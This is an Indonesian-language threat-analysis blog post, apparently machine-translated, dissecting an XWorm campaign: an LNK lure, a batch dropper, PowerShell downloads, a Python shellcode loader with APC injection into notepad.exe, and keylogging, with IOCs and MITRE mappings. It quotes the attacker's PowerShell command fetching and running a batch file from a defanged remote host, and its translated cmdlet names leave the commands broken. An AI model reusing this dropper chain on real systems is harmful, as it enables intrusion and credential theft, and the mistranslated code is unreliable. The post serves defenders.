Perkenalkan:
Penyerang terus mengembangkan berbagai teknik untuk menginfeksi sistem dan mencuri informasi sensitif. Kampanye terbaru berupa rantai infeksi multi-tahap yang dimulai dengan berkas LNK, yang memancing korban untuk membuka faktur di peramban web. Di latar belakang, berkas tersebut melakukan serangkaian aktivitas berbahaya yang menginfeksi sistem dengan XWorm.
Dalam blog ini, kita akan mengeksplorasi detail teknis XWorm. Pada analisis awal, kita akan memeriksa berbagai tahapan rantai infeksi, dimulai dengan file LNK. Kemudian kita akan melihat Taktik, Teknik, dan Prosedur (TTP), seperti penggunaan PowerShell, skrip Python, dan payload yang digunakan oleh pelaku ancaman. Dan akhirnya, kita akan melihat metode yang memfasilitasi injeksi shellcode dari payload XWorm. Di sini penyerang menggunakan varian lama yang memiliki fungsi yang sama dengan varian baru XWorm kecuali varian ini memiliki modul Xlogger.
Rantai Infeksi:
Baru-baru ini, kami menemukan berkas LNK yang memikat korban dengan membuka faktur di peramban web. Di latar belakang, berkas tersebut mengunduh berkas ZIP berisi berkas pengaturan Python. Setelah diekstrak, berkas tersebut berisi berkas pengaturan Python dan berbagai skrip. Di dalam folder skrip, ditemukan satu skrip berbahaya "Man.py" yang bertugas mendekripsi dan menyuntikkan shellcode berbahaya ke dalam sistem.

Berkas LNK:
Berkas LNK mengeksekusi perintah PowerShell dalam mode tersembunyi; dengan bantuan perintah PowerShell, berkas batch man.bat disalin ke folder Unduhan, lalu dieksekusi di latar belakang menggunakan Start-Process. Berkas ini menggunakan flag -WindowStyle Hidden untuk memastikan jendela command prompt tidak muncul.
"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w tersembunyi -c “Salin-Item '\\louise-monitor-mo-rating[.]trycloudflare[.]com@SSL\DavWWWRoot\man[.]bat' \”$env:USERPROFILE\Unduhan\”; Mulai-Proses \”$env:USERPROFILE\Unduhan\man[.]bat\” -GayaJendela Tersembunyi”
"

Berkas Kelelawar:
Berkas .bat yang diunduh berperan dalam memulai proses infeksi. Berkas ini mengalihkan perhatian korban dengan membuka faktur pajak di peramban web.
Berkas .bat berisi tautan yang memulai peluncuran berkas PDF. Selain itu, berkas ini juga menjalankan perintah PowerShell untuk mengunduh berkas ZIP, mengekstrak isinya, menavigasi ke folder tersebut, dan menjalankan skrip Python yang menyuntikkan shellcode berbahaya ke dalam sistem.
Unduh file ZIP:
powershell -Perintah “& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%zipUrl%' -OutFile '%destination%' }”
Ia menggunakan `Invoke-WebRequest` untuk mengunduh berkas dari URL Hardcoded dan menyimpannya ke %destination% yang merupakan lokasi Unduhan.
Ekstrak File ZIP menggunakan perintah PowerShell di folder unduhan yang sama
powershell -Perintah “& { Perluas-Arsip -Jalur '%tujuan%' -JalurTujuan '%ekstrakKe%' -Paksa }
Setelah mengekstrak file ZIP, ia menavigasi ke folder tempat man.py berada dan mengeksekusinya.

Pada Gambar 4, kita dapat melihat file ZIP bernama “qfv0ao” diunduh di folder Unduhan, peramban web membuka file pdf (Gambar 5) dan PowerShell digunakan untuk mengekstrak file (Gambar 6).



Skrip Python:
Skrip Python berisi shellcode terenkripsi. Shellcode ini didekripsi oleh Base64 dan diikuti oleh dekripsi RC4, dengan Kunci yang di-hardcode di dalam skrip itu sendiri. Skrip ini menggunakan VirtualProtect untuk mengubah izin memori yang dialokasikan seperti yang dapat Anda lihat pada Gambar 7.

Injeksi:
Skrip Python pertama-tama menetapkan izin eksekusi shellcode, lalu mengeksekusi shellcode. Fungsi awal shellcode menangani dekripsi dan eksekusi payload, yaitu XWorm. Pada Gambar 8 di bawah ini, kita dapat melihat urutan injeksi shellcode.

Pada gambar 8, kita dapat melihat shellcode dengan izin PAGE_EXECUTE_READWRITE . Kemudian ada eksekusi shellcode pada gambar 9. Dalam shellcode, beberapa byte kode awal bertanggung jawab untuk menyuntikkan shellcode ke dalam “notepad.exe”.



Setelah menjalankan skrip Python man.py, Gambar 11 menunjukkan bahwa "notepad.exe" dijalankan. Pertama, notepad.exe dijalankan dalam status ditangguhkan. Kemudian, alokasi memori dan penyisipan shellcode dilakukan ke dalam ruang alamat notepad.exe seperti yang ditunjukkan pada Gambar 12 dan 13.
Setelah shellcode dimasukkan, Asynchronous Procedure Call (APC) diantrekan ke notepad.exe. APC ini menunjuk ke alamat tempat kode berbahaya berada di memori. Ketika notepad.exe dilanjutkan dari status ditangguhkan, APC memicu eksekusi kode berbahaya tersebut.


Berkas PE:
Varian XWorm ini merupakan versi lama yang masih aktif dan mencoba taktik baru untuk menginfeksi sistem. Dalam versi ini, XWorm memanggil fungsi Xlogger, bernama 'callk', segera setelah membuat mutex. Modul Xlogger ini melacak semua kejadian seperti membuka berkas, menekan tombol, menggunakan peramban web, dll., dan menyimpannya di jalur "Local/Temp/log.txt". Hal ini kemudian dieksfiltrasi setelah menerima perintah terkait dari server c2.

Pencatatan kunci:
Fungsi keylogger digunakan untuk mengumpulkan ketukan tombol dan berpotensi mencuri informasi sensitif seperti kredensial atau data pribadi. Seperti yang dapat kita lihat, API seperti SetWindowsHookEx dengan tipe kait WH_KEYBOARD_LL digunakan untuk merekam ketukan tombol dalam cuplikan di bawah ini. Pencatatan ketukan tombol ini dapat disimpan secara lokal atau diekstraksi.
Selain itu, fungsi seperti GetKeyboardState atau ToUnicodeEx sering digunakan untuk mengubah penekanan tombol menjadi teks yang dapat dibaca, dengan memperhitungkan tata letak keyboard saat ini.

Kesimpulan:
Dalam blog ini, kami telah menjelaskan rantai infeksi yang menyoroti serangan malware canggih dan bertahap yang memanfaatkan berbagai teknik untuk menginfeksi sistem korban. Dengan menggunakan kombinasi file LNK berbahaya, perintah PowerShell, file batch, skrip Python, dan injeksi memori, malware berhasil menyebarkan muatannya tanpa satu pun perintah. Kemampuan malware, termasuk injeksi shellcode dan keylogging, memungkinkannya untuk mencuri informasi sensitif, seperti kredensial login, dan mengeksfiltrasinya ke server jarak jauh yang dikendalikan penyerang.
IOC:
MD5
| Nama | MD5 |
| berkas LNK | 1556BD8155D8E9FF2DBDCD852A354B64 |
| File kumpulan | D0B5238A18ABC402B506F608968270DC |
| Zip | C627DE3B90A0FB5CA8964026360B053A |
| Muatan XWorm | 5EDAB6926E304E4DBEF76800918BEE8A
|
Perlindungan:
Trojan.Xworm.S34251703
Trojan.GenericFC.S29960909
MITRE ATT&CK:
| Taktik | ID Teknik | Nama |
| Obfuscation | T1027 | File atau Informasi yang Dikaburkan |
| Execution | T1059.005 | Penerjemah Perintah dan Skrip: Visual Basic |
| screen Capture | T1113 | screen Capture |
| Kumpulkan Informasi Host Korban | T1592 | Mengumpulkan info sistem |
| Tangkapan Masukan | T1056 | Keylogging |
| Penghindaran Pertahanan | T1055.002 | Injeksi Proses: Injeksi Portabel yang Dapat Dijalankan |
| Injeksi Konten | T1659 | Menyuntikkan kode berbahaya ke dalam sistem |
| Komando dan Pengendalian | T1071.001 | Protokol Lapisan Aplikasi: Protokol Web |
Penulis:
Vaibhav Krushna Billade
Rumana Siddiqui



